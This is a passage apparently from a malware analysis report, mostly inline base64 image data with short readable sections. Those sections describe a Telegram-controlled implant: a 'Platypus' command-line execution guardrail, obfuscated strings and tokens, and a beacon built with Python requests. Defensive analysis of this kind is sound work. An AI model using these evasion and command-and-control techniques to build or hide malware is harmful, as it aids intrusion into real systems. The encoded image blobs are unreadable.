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)\n\n_Figure 1: Execution Guardrail_\n\nThreat actors may be attempting to thwart simple analysis by not passing \u201cPlatypus\u201d on the command line. \n\n##### **_String obfuscation _**\n\nInternal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64-encoded. A decryption script is included in Appendix B.\n\n#### **Communications **\n\n##### **_Beacon Format _**\n\nBefore listening for tasking using CommandHandler objects from the python`-telegram-bot `module, a beacon is generated manually using the standard `requests` library:\n\n![](image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAlkAAACKCAYAAACZzV/vAAAgAElEQVR4AeydB3gVx9X3rwvV2NgG04txEtupTpzYcaNKQhUQvZpmehMgVFEBIdSFkOgIhJAQAoH6Leq9915RpTcb9yRv3vy+Z/ZeCdkGl3x2YvtdPc8+996dnZkz/zm7899zzhwpkP9kBGQEZARkBGQEZARkBGQEvncEFN97i3KDMgIyAjICMgIyAjICMgIyAsgkS1YCGQEZARkBGQEZARkBGYEfAAGZZP0AoMpNygjICMgIyAjICMgIyAjIJEvWARkBGQEZARkBGQEZARmBHwABmWT9AKDKTcoIyAjICMgIyAjICMgIyCRL1gEZARkBGQEZARkBGQEZgR8AAZlk/QCgyk3KCMgIyAjICMgIyAjICMgkS9YBGQEZARkBGQEZARkBGYEfAAGZZP0AoMpNygjICMgIyAjICMgIyAjIJEvWARkBGQEZARkBGQEZARmBHwCBf4tk3bt3j6ioqB9AHLlJGQEZARkBGQEZARkBGYH/PAJpaWk0NDR8rx3/WyTr2rVrDBo0iAULFsiHjIGsA7IOyDog64CsA7IO/OR1YPDgwcTGxv73SdaVK1d47bXXiI+Plw8ZA1kHZB2QdUDWAVkHZB34yeuAnp7ej4NktbW1YWho+L2yPbkxGQEZARkBGQEZARkBGYH/FgKrVq0iIiLie+3+33IXtre3o6+v/70KIjcmIyAjICMgIyAjICMgI/DfQmDZsmVcuHDhe+1eJlnfK5xyYzICMgIyAjICMgIyAj9FBGSS9VOcNVlmGQEZARkBGQEZARmBHz0CMsn60U+RLKCMgIyAjICMgIyAjMBPEYGfDMnquHyTotJ6Sioa5UPGQNaB/w8dKKtqpqnzA5qvfEjT5XvyIWMg64CsA7IO/Js60HL1Q/75v/96KP/7yZCsjdb+KPq8Qe8RU3/6x/BvGMM3lX9XDER733eb31UG+fpvr7c/4Fw9PlSPJ8ZNx3BbFNPsEjC1UcmHjIGsA7IOyDrwb+iA4Y545u1O4uPP/vHTJ1lb7AJQ9HuTviON6D/GhCd+isdYE54YNZVHn9Oj1yhjnhC/e4xjwFhj+o7Q55EhBvQdY8KAHmU9r/vW38eaMGCUIY8OmswjI4y+0t+3bue7yjHaiL4jDaWj32jjL4zxB+vzu8r4Y7x+rAn9RxrwyHP69BG46XD8PjHsN9KQp381C9Md0cx0SGSanRozWxVmtmqm26uZ8aWju9zuq+XTv6auaKu77gPaFnWn6foV182w13T3/U11hYz366ukfnrK/bVy9ZBZ9PugMUv923a1e1+unn38eL5r5TO2isfQWvUFHH88Mn5Vr7QY63TvIfPwQ8mv1buH6/w39dtTv6Z96X75pro/ZLn2fnuwTn+//Wqk+088N7T37lfn9/vt76vta+fgu42163nzoHv+35XX1EbJoj3JPw+SZbHzCH2em8KzvzDjqedNefKBhwliEek72uSB5